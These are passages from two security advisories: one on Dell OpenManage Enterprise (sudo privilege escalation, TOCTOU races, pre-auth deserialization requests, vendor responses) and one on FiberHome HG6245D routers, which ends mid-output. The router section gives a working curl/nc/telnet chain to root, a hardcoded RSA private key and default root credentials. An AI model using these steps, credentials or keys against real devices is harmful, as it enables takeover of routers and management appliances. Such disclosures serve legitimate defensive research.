%tomcat ALL=NOPASSWD:/opt/dell/mcsi/appliance/scripts/ntp_tool.py,/opt/dell/mcsi/appliance/scripts/rsyslog_tool.py,/opt/dell/mcsi/appliance/scripts/change_timezone.py,/opt/dell/mcsi/appliance/scripts/certificate_tool.py,/opt/dell/mcsi/appliance/scripts/change_hostname.py,/opt/dell/mcsi/appliance/scripts/login_iprange.py,/opt/dell/mcsi/appliance/scripts/address_configuration.py,/opt/dell/mcsi/appliance/scripts/current_network_settings.py,/opt/dell/mcsi/appliance/scripts/restore_application.py,/opt/dell/mcsi/appliance/scripts/dump_logs.py,/usr/bin/python3,/opt/dell/mcsi/appliance/scripts/branding.py,/opt/dell/mcsi/appliance/scripts/commandexecutor.sh,/opt/dell/mcsi/appliance/scripts/resolve.sh,/opt/dell/mcsi/appliance/scripts/port_validation.sh,/usr/bin/systemctl,/opt/dell/mcsi/appliance/scripts/change_webconfig.py,/opt/dell/mcsi/appliance/scripts/sysloglogging.py,/usr/bin/date,/usr/bin/ntpstat,/usr/sbin/ntpq,/usr/sbin/ntpdc,/opt/dell/mcsi/appliance/scripts/chassis_nw_settings.py,/opt/dell/mcsi/appliance/scripts/virtual_ip_configuration.py
%tomcat ALL=NOPASSWD:/usr/bin/mount, /usr/bin/cp, /usr/bin/umount, /var/consoleupdate/unzip_uploadedfile.py
At least /usr/bin/python3
, /usr/bin/systemctl
, /usr/bin/mount
and /usr/bin/cp
can be used to elevate to root.
omctui
Users belonging to group omctui
can sudo:
%omctui ALL=NOPASSWD:/usr/bin/systemctl,/usr/sbin/shutdown,/usr/bin/localectl
/usr/bin/systemctl
can be used to elevate to root.
/opt/dell/mcsi/appliance/scripts/security_tool.sh
contains multiple TOCTOUs:
[root@openmanage-enterprise /]# cat /opt/dell/mcsi/appliance/scripts/security_tool.sh
[...]
456 function turnOffRequireRetty
457 {
458 echo "turning off RequireRetty"
459
460 # make it so the requiretty is commented out.
461 sed 's/Defaults requiretty/#Defaults requiretty/' /etc/sudoers > /tmp/sudoers.bk
462 mv /tmp/sudoers.bk /etc/sudoers
463 chmod 0440 /etc/sudoers
464 }
In line 461, no check is done on /tmp/sudoers.bk
- so the file may already exist with attacker's rights.
Race condition in line 462 - an attacker previously controlling /tmp/sudoers.bk
will overwrite /etc/sudoers
with its own policies, resulting in a privilege escalation.
This race condition is now located in line 168 in version 3.6.1.
And here:
505 local targets="/usr/bin/python3"
506 targets="${targets},${THIS_DIR}/change_admin_password.sh"
507 targets="${targets},/usr/sbin/passwd"
508 targets="${targets},${THIS_DIR}/change_timezone.py"
509 targets="${targets},${THIS_DIR}/certificate_tool.py"
510
511 # remove existing tomcat permissions from the sudoesrs file
512 sed 's/%admin ALL=NOPASSWD:.*$//' /etc/sudoers > /tmp/sudoers.bk
513 mv /tmp/sudoers.bk /etc/sudoers
514 chmod 0440 /etc/sudoers
515
516 # add new tomcat permissions to the sudoers file
517 echo "%admin ALL=NOPASSWD:${targets}" >> /etc/sudoers
Race condition in line 513 - an attacker controlling /tmp/sudoers.bk
will overwrite /etc/sudoers
with its own policies, resulting in a privilege escalation.
This race condition is now located in line 220 in version 3.6.1.
The script security_tool.sh
contains interesting settings for the tomcat user, in the function configureShadowAccess
:
[root@openmanage-enterprise /]# cat /opt/dell/mcsi/appliance/scripts/security_tool.sh
[...]
466 # this allows rest/shiro to authenticate admin user from tomcat using the pam database
467 function configureShadowAccess
468 {
469 if ! $(ls -la /etc/shadow | grep -q shadow-readers); then
470 echo "configuring shadow access"
471 groupadd shadow-readers
472 usermod -a -G shadow-readers tomcat <-- tomcat added to group `shadow-readers`
473 chown root:shadow-readers /etc/shadow <-- non-standard permissions for /etc/shadow
474 chmod 640 /etc/shadow
475 service systemd-logind restart
476 else
477 echo "shadow access already configured"
478 fi
479 }
This will allow the tomcat
user to read the /etc/shadow
file.
This function is not called in version 3.5 and 3.6.1 but may have been used before:
573 function configureAccounts
574 {
575 #configureShadowAccess
This function is located in line 174 in version 3.6.1.
The grub password is located in the file /etc/grub.d/40_custom
.
This file is generated by /opt/dell/mcsi/appliance/scripts/set_grub_password.sh
:
[...]
12 pwd="$(/usr/bin/psql -qtAX -U core_admin -d enterprisedb -c 'select guid from core.application_info')"
[...]
28 sed -i "s/password root.*/password root $pwd/g" /etc/grub.d/40_custom
29 /usr/sbin/grub2-mkconfig -o /boot/grub2/grub.cfg
30 echo GRUB password is updated
[...]
Even if /etc/grub.d/40_custom
is 755, it is impossible to read the file because /etc/grub.d
is 700 root:root
.
[root@openmanage-enterprise lpe-priv8-3/]# ls -la /etc/grub.d/40_custom
-rwxr-xr-x. 1 root root 288 May 16 04:07 /etc/grub.d/40_custom
[root@openmanage-enterprise lpe-priv8-3/]# ls -la /etc/grub.d | grep ' \.$'
drwx------. 2 root root 4096 Sep 30 2020 .
But it is possible to extract the grub password from the auth-less local postgres database:
sh-4.2$ /usr/bin/psql -qtAX -U core_admin -d enterprisedb -c 'select guid from core.application_info'
09b50d53-189c-221c-7996-1c0ee1279201
The password can be confirmed by reading /etc/grub.d/40_custom
:
[root@openmanage-enterprise /]# tail -n 1 /etc/grub.d/40_custom
password root 09b50d53-189c-221c-7996-1c0ee1279201
The solution uses jackson
and ObjectMapper
to read attacker-controlled json inputs.
It appears authentification doesn't really work when sending attacker-controlled data on API endpoints:
The authentication system appears to be broken as it parses attacker-controlled data before checking the authentication.
Sending correct data will trigger the authentication:
kali# wget -O- --no-check-certificate --post-data '{"targets":["1"],"command":"ls","operation":"REMOTE_SSH_EXEC"}' --header "Content-Type: application/json;charset=utf-8" https://192.168.1.100/omc/api/Console/RemoteCommandTask
HTTP request sent, awaiting response... 400 Bad Request
2021-05-16 12:57:17 ERROR 400: Bad Request.
From the logs:
[ERROR] 2021-05-16 12:57:15.158 [ajp-bio-8009-exec-1] JobsController - org.springframework.web.client.HttpClientErrorException: 401 Unauthorized
Now, by replacing the targets field, "1" becomes "a", it is possible to create deserialization errors while sending incorrect inputs while creating a RemoteCommandTask:
POST /omc/api/Console/RemoteCommandTask HTTP/1.1
Host: 192.168.1.100
Content-Type: application/json;charset=utf-8
Content-Length: 62
{"targets":["a"],"command":"ls","operation":"REMOTE_SSH_EXEC"}
Or with wget
:
kali# wget -O- --no-check-certificate --post-data '{"targets":["a"],"command":"ls","operation":"REMOTE_SSH_EXEC"}' --header "Content-Type: application/json;charset=utf-8" https://192.168.1.100/omc/api/Console/RemoteCommandTask
HTTP request sent, awaiting response... 500 Internal Server Error
2021-05-16 12:58:25 ERROR 500: Internal Server Error.
And from the logs, no more "401 Unauthorized" but some deserialization errors:
From /var/log/dell/mcsi/tomcat/application.log
:
[ERROR] 2021-05-16 12:58:39.554 [ajp-bio-8009-exec-4] BaseController - org.springframework.http.converter.HttpMessageNotReadableException: JSON parse error: Cannot deserialize value of type `java.lang.Integer` from String "a": not a valid Integer value; nested exception is com.fasterxml.jackson.databind.exc.InvalidFormatException: Cannot deserialize value of type `java.lang.Integer` from String "a": not a valid Integer value
at [Source: (PushbackInputStream); line: 1, column: 13] (through reference chain: com.dell.enterprise.model.omc.RemoteCommandTask["targets"]->java.util.ArrayList[0])
org.springframework.http.converter.HttpMessageNotReadableException: JSON parse error: Cannot deserialize value of type `java.lang.Integer` from String "a": not a valid Integer value; nested exception is com.fasterxml.jackson.databind.exc.InvalidFormatException: Cannot deserialize value of type `java.lang.Integer` from String "a": not a valid Integer value
at [Source: (PushbackInputStream); line: 1, column: 13] (through reference chain: com.dell.enterprise.model.omc.RemoteCommandTask["targets"]->java.util.ArrayList[0])
[100s of lines]
So it appears this input is deserialized before the authentication process is done.
We saw this behavior - deserialization or checking of validity of JSON using jackson without authentication - in several web forms present in the solution, accepting JSON or XML, mainly before any authentication.
After some tests, we found 1 form that apparently checks the authentication, but it is still possible to generate deserialization errors (post-auth):
POST /core/api/Console/oidc/checkRegistration HTTP/1.1
Host: 192.168.1.100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
X-Requested-With: managementConsole
Content-Length: 24
Origin: https://192.168.1.100
Connection: close
Referer: https://192.168.1.100/core/console/console.html
Cookie: X-Auth-Token=f544973e-4c0e-4522-9b8a-a65498ebccfc
{"oidcServerIds":[a1]}
From /var/log/dell/mcsi/tomcat/application.log
:
[ERROR] 2021-05-16 13:12:15.356 [ajp-bio-8009-exec-4] BaseController - org.springframework.http.converter.HttpMessageNotReadableException: JSON parse error: Unrecognized token 'a1': was expecting (JSON String, Number, Array, Object or token 'null', 'true' or 'false'); nested exception is com.fasterxml.jackson.databind.JsonMappingException: Unrecognized token 'a1': was expecting (JSON String, Number, Array, Object or token 'null', 'true' or 'false')
at [Source: (PushbackInputStream); line: 1, column: 24] (through reference chain: com.dell.enterprise.model.ui.OIDCRegistrationStatusList["oidcServerIds"])
org.springframework.http.converter.HttpMessageNotReadableException: JSON parse error: Unrecognized token 'a1': was expecting (JSON String, Number, Array, Object or token 'null', 'true' or 'false'); nested exception is com.fasterxml.jackson.databind.JsonMappingException: Unrecognized token 'a1': was expecting (JSON String, Number, Array, Object or token 'null', 'true' or 'false')
[...]
at Caused by: com.fasterxml.jackson.databind.JsonMappingException: Unrecognized token 'a1': was expecting (JSON String, Number, Array, Object or token 'null', 'true' or 'false')
[...]
at com.fasterxml.jackson.databind.deser.BeanDeserializerBase.wrapAndThrow(BeanDeserializerBase.java:1714) ~[jackson-databind-2.10.3.jar:2.10.3]
at com.fasterxml.jackson.databind.deser.BeanDeserializer.deserializeFromObject(BeanDeserializer.java:371) ~[jackson-databind-2.10.3.jar:2.10.3]
at com.fasterxml.jackson.databind.deser.BeanDeserializer.deserialize(BeanDeserializer.java:159) ~[jackson-databind-2.10.3.jar:2.10.3]
at com.fasterxml.jackson.databind.ObjectMapper._readMapAndClose(ObjectMapper.java:4218) ~[jackson-databind-2.10.3.jar:2.10.3]
at com.fasterxml.jackson.databind.ObjectMapper.readValue(ObjectMapper.java:3267) ~[jackson-databind-2.10.3.jar:2.10.3]
[...]
at com.fasterxml.jackson.databind.deser.std.CollectionDeserializer.deserialize(CollectionDeserializer.java:277) ~[jackson-databind-2.10.3.jar:2.10.3]
at com.fasterxml.jackson.databind.deser.std.CollectionDeserializer.deserialize(CollectionDeserializer.java:245) ~[jackson-databind-2.10.3.jar:2.10.3]
at com.fasterxml.jackson.databind.deser.std.CollectionDeserializer.deserialize(CollectionDeserializer.java:27) ~[jackson-databind-2.10.3.jar:2.10.3]
at com.fasterxml.jackson.databind.deser.impl.FieldProperty.deserializeAndSet(FieldProperty.java:138) ~[jackson-databind-2.10.3.jar:2.10.3]
at com.fasterxml.jackson.databind.deser.BeanDeserializer.deserializeFromObject(BeanDeserializer.java:369) ~[jackson-databind-2.10.3.jar:2.10.3]
at com.fasterxml.jackson.databind.deser.BeanDeserializer.deserialize(BeanDeserializer.java:159) ~[jackson-databind-2.10.3.jar:2.10.3]
at com.fasterxml.jackson.databind.ObjectMapper._readMapAndClose(ObjectMapper.java:4218) ~[jackson-databind-2.10.3.jar:2.10.3]
at com.fasterxml.jackson.databind.ObjectMapper.readValue(ObjectMapper.java:3267) ~[jackson-databind-2.10.3.jar:2.10.3]
at org.springframework.http.converter.json.AbstractJackson2HttpMessageConverter.readJavaType(AbstractJackson2HttpMessageConverter.java:237) ~[spring-web-4.3.28.RELEASE.jar:4.3.28.RELEASE]
[...]
Due to the lack of interesting java gadgets, we didn't manage to exploit these deserialization errors.
These pre-auth and post-auth Java deserializations have been silently patched in version 3.6.1.
When installing the appliance, an idrac user will be created with a random password:
[root@openmanage-enterprise /]# cat /etc/shadow
[...]
idrac:$6$QtG/5PHz$1ZW7aSUeLJ6mlQM/sO/g7RLxKNUQrTwksmkJH9/meYkPTlgSvXLrR6CUikYzDg27bvprfm.EgimjX1e3yaxzC1:18763:0:99999:7:::
[root@openmanage-enterprise /]# cat /etc/passwd
[...]
idrac:x:1008:1016::/shared/dell/omc/cifs/idrac:/bin/false
This user may be for samba sharing functionality - we didn't success to use this functionality from the management interface - maybe it will be possible to configure it in the next versions.
Interesting files are:
It is possible to extract configurations with tdbtool
:
tdbtool /var/lib/samba/private/secrets.tdb dump
and tdbtool /var/lib/samba/private/passdb.tdb dump
1 point has been considered as a vulnerability by the vendor ("Remote Auth Bypass with 2 pre-auth RCEs in docker instances") because the attacker is not supposed to get a shell (e.g. with a command injection or java deserialization) or to access postgres running on the appliance (via a shell or via the network).
Interestingly, Dell confirmed this vulnerability that is in fact a chain of multiple "no-impact" vulnerabilities (lack of authentication for postgres, command execution in redis and in postgres, R/W access to the postgres).
Other issues have not been considered having security impacts. Dell confirmed postgres does not use authentication and there is no security impact in a normal situation.
Futhermore, this solution has an history of command injections - nonetheless the threat model doesn't appear to include command injections ("No shell access or other ingress points available for use.").
2 vulnerabilities have been silently patched by the vendor, one DSA will be published (java deserialization).
The vendor provided an impact assessment and explanations, as shown below:
Hardcoded ActiveMQ Credentials -> No impact
ActiveMQ credentials are not used in the appliance. File artifacts will be removed in a future release and are unused in Dell EMC OpenManage Enterprise (OME) and Dell EMC OpenManage Enterpise-Modular (OME-M).
Also, note that the ActiveMQ web console is disabled within OME. In addition, as confirmed by the researcher, the firewall blocks incoming access to the relevant ports (46403 / 61616) and SELinux policies prevent users from reading these files.
Harcdoded ActiveMQ credentials for JMX -> No impact
ActiveMQ JMX configuration is disabled. File artifacts will be removed in a future release and are unused in OME and OME-M. SELinux policies prevent regular users from reading the contents of these files.
Hardcoded ActiveMQ Keystore + password for keystore file (in jetty.xml) -> No impact
ActiveMQ keystore is not used in OME/OME-M. These artifacts will be removed in a future release.
SELinux policies prevent regular user read access.
Hardcoded JDBC passwords -> No impact
DB configured to allow access only from localhost. Also, the passwords indicated by the researcher are not used in OME / OME-M. In addition, (in OME 3.5 and later) SELinux policies add another layer of read access protection to the files with these passwords.
Hardcoded passwords for core_admin and replicator -> No impact
DB is configured to only allow access from localhost. The passwords indicated are not used in OME or OME-M and will be removed in a future release.
KeyStore using hardcoded Key -> No impact
SELinux policies and current mitigation in place prevent file system access.
Permissive ACL for Postgres -> No impact
The attack vectors of shell access / ingress via Docker are not available to users - Docker path shut off in original design of product.
Local Privilege Escalation (as postgres) inside postgres docker -> No impact
The attack vectors of shell access / ingress via Docker are not available to users - Docker path shut off in original design of product.
Remote Auth Bypass with 2 pre-auth RCEs in docker instances -> Impact
Remediation available in OME version 3.6.2 and OME-M 1.30.10, more information in Dell Security Advisory - DSA-2021-113 (https://www.dell.com/support/kbdoc/000189673)
Undocumented system
account -> No impact
User cannot log in to account.
Database key stored in the database -> No impact
Postgres is configured to allow access from internal appliance services - no security impact
Weak permission on SSL/TLS Key -> No impact
No shell access for use in exploitation.
As an additional layer of defense, SELinux policies will be reviewed and updated in future releases.
Multiple Local Privilege Escalations from mcsimetricssvc
- partially silently patched in version 3.6.1 -> No impact
No shell access or other ingress points available for use.
Multiple Local Privilege Escalations from group mcsitasksvc
-> No impact
No shell access or other ingress points available for use.
Multiple Local Privilege Escalations from group tomcat
-> No impact
No shell access or other ingress points available for use.
Local Privilege Escalation from group omctui
-> No impact
No shell access or other ingress points available for use.
Multiple TOCTOUs in "security_tool.sh" shell script -> No impact
Mitigation in place to block shell access by default.
Incorrect access for tomcat -> No impact
Debug level script is not used in OME/OME-M and will be removed in future releases.
Grub password stored in postgres, without authentication for local user -> No impact
Access to postgres for password is only available to users who already have hypervisor admin privileges.
Pre-auth and post-auth Java Deserializations - silently patched in version 3.6.1 -> No impact
Found in prior internal security audit - issue mitigated in version 3.6.1, more information in Dell Security Advisory - DSA-2021-113 (https://www.dell.com/support/kbdoc/000189673).
Idrac User -> No impact
These are credentials to access an internal CIFS share / not a user that can log in to OME. The passwords are rotated on a time interval (not configurable) and handed out by OME to clients who in turn need access to the internal CIFS share. Binary content that can be introduced on this share is limited to DUPS which are signed / signature verified by the iDRAC and other entities prior to flashing. Non-binary content is the SCP profile that is used to configure systems. The ability to invoke operations that would access the CIFS share / use content on it is relegated to authenticated high privileged OME users (admin / Device Manager roles)
These vulnerabilities were found by Pierre Kim (@PierreKimSec) and Alexandre Torres (@AlexTorSec).
https://pierrekim.github.io/advisories/2021-dell-openmanage-enterprise-0x00.txt
https://pierrekim.github.io/blog/2021-07-19-dell-openmanage-enterprise-0day-vulnerabilities.html
This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
FiberHome Technologies is a leading equipment vendor and global solution provider in the field of information technology and telecommunications.
The FiberHome HG6245D routers are GPON FTTH routers. They are mainly used in South America and in Southeast Asia (from Shodan). These devices come with competitive pricing but are very powerful, with a lot of memory and storage.
I validated the vulnerabilities against HG6245D, RP2602:
Config# show version
show version
Hardware version : WKE2.094.277A01
Software version : RP2602
Minor version : 00.00
Basic part version : RP2602
Generate time : Apr 1 2019 19:38:05
UPDATE Feb 7, 2021 - the latest firmware version (RP2613) is also vulnerable. The vulnerabilities have been confirmed in the latest firmware image (RP2613).
Some vulnerabilities have been tested successfully against another fiberhome device (AN5506-04-FA, firmware RP2631, 4 April 2019). The fiberhome devices have quite a similar codebase, so it is likely all other fiberhome devices (AN5506-04-FA, AN5506-04-FAT, AN5506-04-F) are also vulnerable.
On the first analysis, attack surface is not huge:
https://target/fh
).Futhermore, due to the lack of firewall for IPv6 connectivity, all the internal services will be reachable over IPv6 (from the Internet).
It is in fact trivial to achieve pre-auth RCE as root against the device, from the WAN (using IPv6) and from the LAN (IPv4 or IPv6).
This scenario involves reaching the webserver to:
/telnet
HTTP API or using a stack overflow in the HTTP server in previous fiberhome routers [and skipping next steps])Example of such scenario in 4 steps from a different network:
$ curl -k https://target/info.asp # pre-auth infoleak, extract the WAN MAC, very similar to the br0 MAC,
# used to enable the next backdoor. On the same network segment,
# use `arp -na`
$ curl -k 'https://target/telnet?enable=1&key=ENDING_PART_MAC_ADDR' # backdoor access to authorize access
# to CLI telnet on port 23/tcp
$ echo GgpoZWxwCmxpc3QKd2hvCmRkZAp0c2hlbGwK | base64 -d | nc target 23 >/dev/null & # auth bypass + start of
# Linux telnetd on port
# 26/tcp
$ telnet target 26 # backdoor root access with root / GEPON
(none) login: root
Password: [GEPON]
BusyBox v1.27.2 (2019-04-01 19:16:06 CST) built-in shell (ash)
#id
uid=0(root) gid=0 groups=0 # game over
Please note this research was done in the beginning of 2020 and a new firmware image may be available and may patch some vulnerabilities (even if I highly doubt it). This research was supposed to be presented during a private security event last year which was postponed due to the COVID-19 situation.
Full-disclosure is applied as it is believed that some backdoors have been intentionally placed by the vendor.
Also, it is public knowledge from 2019 that Fiberhome devices have weak passwords and RCE vulnerabilities. This quote is from 2019:
We didn't see how Gwmndy malware spread, but we know that some Fiberhome router Web systems have weak passwords and there are RCE vulnerabilities.
The summary of the vulnerabilities is:
I removed several DoS and strange technical details (linked to undisclosed vulnerabilities) for clarity.
By default, there are no firewall rules for the IPv6 connectivity, exposing the internal management interfaces from the Internet.
An attacker can get a full access to the management http server (using hardcoded passwords) and the telnet services, by reaching the IPv6s assigned to the wan0 and the br0 interfaces.
On the device:
#ifconfig wan0
wan0 Link encap:Ethernet HWaddr [REMOVED]
[...]
inet6 addr: [REMOVED]/64 Scope:Global
[...]
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
#ifconfig br0
br0 Link encap:Ethernet HWaddr [REMOVED]
inet addr:192.168.1.1 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: [REMOVED]/64 Scope:Global
[...]
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
br0
is the internal network interface assigned to the LAN.
All the services are binding to both br0
and wan0
.
It is trivial to reach services from the WAN (Internet), by contacting IPv6 used by br0
or wan0
:
From the WAN:
rasp-wan-olt% telnet [ipv6] 26
Trying [ipv6]...
Connected to [ipv6].
Escape character is '^]'.
(none) login:
telnet> q
Connection closed.
rasp-wan-olt% telnet [ipv6] 80
Trying [ipv6]...
Connected to [ipv6].
Escape character is '^]'.
GET / HTTP/1.0
HTTP/1.0 302 Redirect
Server: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.4.2-OPEN
Date: Mon Jan 7 21:01:29 2020
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
X-Frame-Options: SAMEORIGIN
Location: https://
<html><head></head><body>
This document has moved to a new <a href="https://">location</a>.
Please update your documents to reflect the new location.
</body></html>
Connection closed by foreign host.
rasp-wan-olt%
By using ip6tables
on the device, we can confirm the complete lack of firewall rules for IPv6 connectivity:
#ip6tables -nL
Chain INPUT (policy ACCEPT)
target prot opt source destination
Chain FORWARD (policy ACCEPT)
target prot opt source destination
forward_ext_ip all ::/0 ::/0
forward_ext_url all ::/0 ::/0
forward_ext_mac all ::/0 ::/0
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
Chain forward_ext_ds_ip (1 references)
target prot opt source destination
Chain forward_ext_ip (1 references)
target prot opt source destination
forward_ext_us_ip all ::/0 ::/0
forward_ext_ds_ip all ::/0 ::/0
Chain forward_ext_mac (1 references)
target prot opt source destination
Chain forward_ext_url (1 references)
target prot opt source destination
Chain forward_ext_us_ip (1 references)
target prot opt source destination
#
I highly recommend disabling IPv6 connectivity.
It is possible to find passwords and authentication cookies stored in clear-text in HTTP logs:
#cat /fhconf/web_log/web.log
web_utils>2020-01-07 19:16:26,../utils/cu_sessionManagement.c[465](findUser): no user named admin !
<web_custom>2020-01-07 19:16:27,../custom/weblogin.c[595](webLogin): *************userGroupName = 1
<web_init>2020-01-07 19:16:27,../utils/utils.c[1399](get_admin_default_info): enter get_admin_default_info
<web_custom>2020-01-07 19:16:27,../custom/weblogin.c[812](webLogin): Warning! Password error! password = [REMOVED]
<web_utils>2020-01-07 19:27:24,../utils/cu_sessionManagement.c[238](createSession): create user [REMOVED]
The web management is done over HTTPS, using a hardcoded private key with 777 permissions:
#ls -la /fhrom/bin/web/certSrv.pem /fhrom/bin/web/privkeySrv.pem
-rwxrwxrwx 1 root 0 883 Apr 1 2019 /fhrom/bin/web/certSrv.pem
-rwxrwxrwx 1 root 0 887 Apr 1 2019 /fhrom/bin/web/privkeySrv.pem
#cat /fhrom/bin/web/privkeySrv.pem
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQCY22+N/5InUhmotgU8jh9nQdyTmKYwFJKpvMek9fJK8rCsrED7
yl+mvUPv3yqLyMgvu1AcMmYEyngpbw94rnd2k91wiRGUGUSq8mTRPFwnplTPI8hI
JglMsKcskzRP951jxsiSS1eMlLcEd9iMUcpjUbgWzxKH0fFlRD5d8jYPtwIDAQAB
AoGANEjy6n5d7sc9caD5P5JZmYdEvNO9HLscw6SIIZvjCdHjrtyoybeaaj1ZDKao
NfIyz2jh6RMwJDlhSsLrZts+jzB+k7fAqUkdLi6fkZmpamL1OEHMqzWdWuVFgCjd
uf8ZMMuQ+/3gx/tjjG0sBuL/ko1Q7oxoIty+4xm9cwqGGtkCQQDKIJYYp9385gk4
8qDcdgnc39kmsheUB5VS0pU1/pxL2YIJltq79yghwQisaNsUUk4LMW6hNyPx7Knx
jRpHLsgTAkEAwZkVbjo3Ll+fM+1oPPcY4i960DURrR9eMVhq771n+GzCs9gEy2Ea
HW5f0yamZBMURZWECu1W0s764QkHXwzWTQJAaYGi95HAVT86NyinAQz4TvvlnMY/
enyO3GGhk0KpEQqjTyAYYx87KotZXK2LFct0g3E1Hx/qOmDfwH935QotUwJAH4mE
iDRLkO5azOa7uFK4ZwA9DXXXr1AQ1BEHOo6sRTfSb+GcxlTHIEw+p/L/4AWLo9o7
bFxFbInzLH2ACefZcQJAJ+US+g9Dp4tiLrenketRv9+3nOPGod2WOGqjMaEqOgmC
RjGu2aI9YguR3FuX3W9KOOg3EDn/l/O1XynBPRO9Aw==
-----END RSA PRIVATE KEY-----
#cat /fhrom/bin/web/certSrv.pem
-----BEGIN CERTIFICATE-----
MIICXzCCAcgCCQCqr5AgCgFdqzANBgkqhkiG9w0BAQUFADB0MQswCQYDVQQGEwJD
SDELMAkGA1UECBMCSFUxCzAJBgNVBAcTAldVMQswCQYDVQQKEwJGSDELMAkGA1UE
CxMCU0YxDDAKBgNVBAMTA1BPTjEjMCEGCSqGSIb3DQEJARYUUE9OQEZJQkVSSE9N
RS5DT00uQ04wHhcNMTMwNDI0MDEyMTUwWhcNMjMwNDIyMDEyMTUwWjB0MQswCQYD
VQQGEwJDSDELMAkGA1UECBMCSFUxCzAJBgNVBAcTAldVMQswCQYDVQQKEwJGSDEL
MAkGA1UECxMCU0YxDDAKBgNVBAMTA1BPTjEjMCEGCSqGSIb3DQEJARYUUE9OQEZJ
QkVSSE9NRS5DT00uQ04wgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAJjbb43/
kidSGai2BTyOH2dB3JOYpjAUkqm8x6T18krysKysQPvKX6a9Q+/fKovIyC+7UBwy
ZgTKeClvD3iud3aT3XCJEZQZRKryZNE8XCemVM8jyEgmCUywpyyTNE/3nWPGyJJL
V4yUtwR32IxRymNRuBbPEofR8WVEPl3yNg+3AgMBAAEwDQYJKoZIhvcNAQEFBQAD
gYEACZJepEU36h3PMc0O15Bo7zkBWm2dD0RbTrJeZF561VcxlpuE2GDirNCXAbZz
Ue/x+fDQBEM8kqpFYcVMPzZBUdFwu1QIY0DottXVcFFNoKS54GL9LEMaS6l6R/D5
G8bCy/RF3kZwzE2cflZ7x78zdpQpzzDcOD415ek5zkadhu0=
-----END CERTIFICATE-----
#
Another hardcoded private key is also available (?!) in /fhrom/bin/web
and can be downloaded over HTTPS:
#ls -la /fhrom/bin/web/privkeySrv.pem
-rwxrwxrwx 1 root 0 887 Apr 1 2019 /fhrom/bin/web/privkeySrv.pem
$ curl -k https://192.168.1.1/privkeySrv.pem
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQCY22+N/5InUhmotgU8jh9nQdyTmKYwFJKpvMek9fJK8rCsrED7
yl+mvUPv3yqLyMgvu1AcMmYEyngpbw94rnd2k91wiRGUGUSq8mTRPFwnplTPI8hI
JglMsKcskzRP951jxsiSS1eMlLcEd9iMUcpjUbgWzxKH0fFlRD5d8jYPtwIDAQAB
AoGANEjy6n5d7sc9caD5P5JZmYdEvNO9HLscw6SIIZvjCdHjrtyoybeaaj1ZDKao
NfIyz2jh6RMwJDlhSsLrZts+jzB+k7fAqUkdLi6fkZmpamL1OEHMqzWdWuVFgCjd
uf8ZMMuQ+/3gx/tjjG0sBuL/ko1Q7oxoIty+4xm9cwqGGtkCQQDKIJYYp9385gk4
8qDcdgnc39kmsheUB5VS0pU1/pxL2YIJltq79yghwQisaNsUUk4LMW6hNyPx7Knx
jRpHLsgTAkEAwZkVbjo3Ll+fM+1oPPcY4i960DURrR9eMVhq771n+GzCs9gEy2Ea
HW5f0yamZBMURZWECu1W0s764QkHXwzWTQJAaYGi95HAVT86NyinAQz4TvvlnMY/
enyO3GGhk0KpEQqjTyAYYx87KotZXK2LFct0g3E1Hx/qOmDfwH935QotUwJAH4mE
iDRLkO5azOa7uFK4ZwA9DXXXr1AQ1BEHOo6sRTfSb+GcxlTHIEw+p/L/4AWLo9o7
bFxFbInzLH2ACefZcQJAJ+US+g9Dp4tiLrenketRv9+3nOPGod2WOGqjMaEqOgmC
RjGu2aI9YguR3FuX3W9KOOg3EDn/l/O1XynBPRO9Aw==
-----END RSA PRIVATE KEY-----
It is possible to extract information from the device without authentication by disabling Javascript and visiting /info.asp
:
$ curl -k https://192.168.1.1/info.asp
[..]
Software Version: [REMOVED]
[...]
ONU State: [REMOVED]
Regist State: [REMOVED]
LOID: [REMOVED] <----------- Secret used for FTTH connection
[...]
IP Address: [REMOVED]
Subnet Mask: [REMOVED]
IPv6 Address: [REMOVED]
DHCP Clients List: [REMOVED]
Wan IP: [REMOVED]
WAN Mac: [REMOVED] <-------- Used for the telnet backdoor
[...]
Also, it is very easy to guess the MAC address of the br0
interface based on the WAN MAC address (e.g.: wan0
: xx:xx:xx:xx:xx:x3
, br0
will be xx:xx:xx:xx:xx:x0
).
In order to reach the telnetd CLI server, it is also possible to reach a backdoor API without authentication provided by the HTTP server. This will remove firewall rules and allow an attacker to reach the telnet server (used for CLI).
This backdoor can be found inside the webs
binary:
From sub_C46F8()
(called from main()):
sub_C46F8()
The backdoor_telnet()
function (named during reverse engineering, the original name is unknown):
backdoor_telnet()
We can reverse the function omci_set_telnet_uni_state()
from libgl3_advance.so
:
omci_set_telnet_uni_state()
On line 24, rules will be added depending of the value of the argument of this function.
Finally, the getOnuMac()
function will provide a custom valid entry from the MAC address of the br0
interface:
getOnuMac()
The backdoor is reachable by sending a HTTPS request:
https://[ip]/telnet?enable=0&key=calculated(BR0_MAC)
The 'secret' algorithm will extract the ending part of the mac address.
For the MAC: AA:AA:AA:01:02:03, an attacker can enable the backdoor by sending:
$ curl -k 'https://[ip]/telnet?enable=1&key=010203'
Opening the access to the telnetd:
$ curl -k 'https://192.168.1.1/telnet?enable=1&key=[REMOVED]'
Open telnet success!
$ telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
------acl IP:192.168.1.2 --------
Login:
telnet> q
Connection closed.
Closing the access to the telnetd:
$ curl -k 'https://192.168.1.1/telnet?enable=0&key=[REMOVED]'
$ telnet 192.168.1.1 23
Trying 192.168.1.1...
telnet: connect to address 192.168.1.1: Connection refused
telnet: Unable to connect to remote host
The IPv4 firewall rules before and after triggering the backdoor:
Access is being blocked:
#iptables-save |grep telnet
:input_ext_access_telnet_ani - [0:0]
:input_ext_access_telnet_uni - [0:0]
